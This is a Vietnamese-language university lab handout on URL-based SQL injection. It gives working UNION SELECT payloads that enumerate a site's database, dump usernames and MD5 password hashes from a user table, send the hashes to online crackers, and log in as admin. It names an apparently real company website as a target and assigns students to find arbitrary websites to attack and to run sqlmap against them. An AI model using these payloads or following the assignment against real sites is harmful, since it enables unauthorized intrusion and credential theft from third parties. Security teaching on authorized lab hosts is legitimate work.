|  |  |
| --- | --- |
| Logo  Description automatically generated | **THỰC HÀNH TẤN CÔNG SQL INJECTION**  **Sử dụng đường dẫn URL** |

Nhóm học phần:

1) Mã Sinh viên, Họ và Tên:

2)

3)

MỤC LỤC

[1. Giới thiệu 1](#_Toc175586997)

[2. Các bước tấn công SQL Injection 1](#_Toc175586998)

[3. Tấn công Website https://nhuaphucthinh.com.vn/ 3](#_Toc175586999)

[4. Tấn công các Website http://*wandertour*.ddns.net:8282 3](#_Toc175587000)

[1. BÀI TẬP 5](#_Toc175587001)

*>> Yêu cầu chụp hình ảnh là kết quả thực hành của SV. Không sử dụng lại hình ảnh của bài lab.*

# Giới thiệu

# Các bước tấn công SQL Injection

* Bước 1: *Dò* tìm trang web có khả năng bị lỗi SQL Injection

Đầu tiên ta truy cập vào một trang web bất kì. Ở đường dẫn URL của trang web, ta chèn thêm một kí tự đặc biệt, ví dụ như dấu ’.

Nếu như trang web có lỗi, thì có thể thực hiện được việc tấn công.

http://www.tototo.com

http://www.tototo.com/?frame=product\_detail&id=322

Thêm dấu nháy vào cuối chuỗi URL để phát hiện lỗi SQL Injection:

http://www.tototo.com/?frame=product\_detail&id=322’

* Bước 2: Dò tìm số cột trong câu lệnh SELECT hiển thị trang Web

Sử dụng câu lệnh UNION để chèn vào đường dẫn URL

http://www.tototo.com/?frame=product\_detail&id=322 UNION SELECT 1--

http://www.tototo.com/?frame=product\_detail&id=322 UNION SELECT 1,2--

http://www.tototo.com/?frame=product\_detail&id=322 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

Sau khi kiểm tra bằng cách chèn thêm lệnh vào đường dẫn, ta đã xác định được CSDL của web gồm có 16 bảng.

* Bước 3: Dò tìm thông tin CSDL
* Xem vị trí các trường xuất hiện trên trang Web: Đổi giá trị 322  NULL

http://www.tototo.com/?frame=product\_detail&id=NULL UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

* Để biết được version của CSDL, ta chèn thêm biến version() thay vào chỗ cột số 3.

http://www.tototo.com/?frame=product\_detail&id=NULL UNION SELECT 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--

Dựa vào kết quả, ta biết được phiên bản CSDL đó sử dụng là: **5.6.38**

* Để biết được tên của CSDL, ta chèn thêm biến version() thay vào chỗ cột số 3.

http://www.tototo.com/?frame=product\_detail&id=NULL UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16—

* Dựa vào kết quả, ta biết được CSDL của trang web.
* Ngoài ra, ta có thể biết thêm một số thông tin khác như người quản trị mạng của trang web.

http://www.tototo.com/?frame=product\_detail&id=NULL UNION SELECT 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16--

 Dựa vào kết quả, ta biết được người quản trị mạng của trang web.

* Bước 4: Tìm các bảng có trong CSDL

Để biết được tên các bảng có trong CSDL, ta thực hiện dòng lệnh sau:

http://www.tototo.com/?frame=product\_detail&id=NULL UNION SELECT 1,2,group\_concat(unhex(hex(table\_name))),4,5,6,7,8,9,10,11,12,13,14,15,16 FROM information\_schema.tables WHERE table\_schema=database()--

Kết quả thu được là danh sách các bảng có trong CSDL:

tbl\_config,tbl\_content,tbl\_content\_category,tbl\_order,tbl\_order\_detail,tbl\_product, tbl\_product\_category,tbl\_product\_new,tbl\_product\_special,**tbl\_user**,tbl\_visitor

* Bước 5: Chuyển đổi chuỗi tbl\_user sang giá trị Hexa tương ứng để vượt bộ lọc

https://www.online-toolz.com/tools/text-hex-convertor.php

* Bước 6: Tìm thông tin các cột có trong bảng tbl\_user

http://www.tototo.com/?frame=product\_detail&id=NULL  UNION SELECT 1,2,group\_concat(unhex(hex(column\_name))),4,5,6,7,8,9,10,11,12,13,14,15,16 FROM information\_schema.columns WHERE table\_name=0x74626c5f75736572--

* Dựa vào kết quả hiển thị sau câu lệnh trên, ta thu được đó là các cột có trong bảng tbl\_user: *id,uid,pwd.*
* Bước 7: Thu nhập kết quả từ các cột tìm được trong bảng tbl\_user

http://www.tototo.com/?frame=product\_detail&id=NULL UNION SELECT 1,2,group\_concat(id,0x3a,uid,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16 FROM tbl\_user--

[0x3a là dấu : , ta thêm vào để dễ nhìn ra khoảng cách giữa id, tên user và password]

Dựa vào kết quả, ta có được tên tài khoản và mật khẩu được mã hóa theo MD5 tương ứng.

* Bước 8: Bẻ khóa mật khẩu MD5

        Vào trang web  *https://www.md5online.org/* hoặc  *https://hashkiller.co.uk/md5-decrypter.aspx*

* Bước 9: Đăng nhập hệ thống với tài khoản vừa lấy được.

 http://www.tototo.com/home/admin/login.php

# Tấn công Website https://nhuaphucthinh.com.vn/

*https://thudinh.blogspot.com/2017/06/how-to-attack-sql-injection-website.html*

# Tấn công các Website http://*wandertour*.ddns.net:8282

Truy cập **http://*wandertour*.ddns.net:8282**

Lần lượt thực hiện các nội dung khai thác lổ hổng SQL Injection như sau.

1. Website quảng bá du lịch Công ty HAVACO
2. Website giới thiệu mẫu thời trang Công ty MODELCO
3. Website quản lý sinh viên

Chú ý: Lần lượt thay www.tototo.com.vn bằng các địa chỉ sau:

***http://wandertour.ddns.net: 8282/qldulich/***

***http://wandertour.ddns.net:8282/qlthoitrang/***

***http://wandertour.ddns.net:8282/qlsinhvien/***

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

# BÀI TẬP

1. Thực hiện tìm kiếm một số trang Web để tấn công SQL
2. Sử dụng lệnh sqlmap trên Kali Linux để tấn công SQl Injection

*(Tài liệu lưu hành nội bộ)*

-----------------------------------------------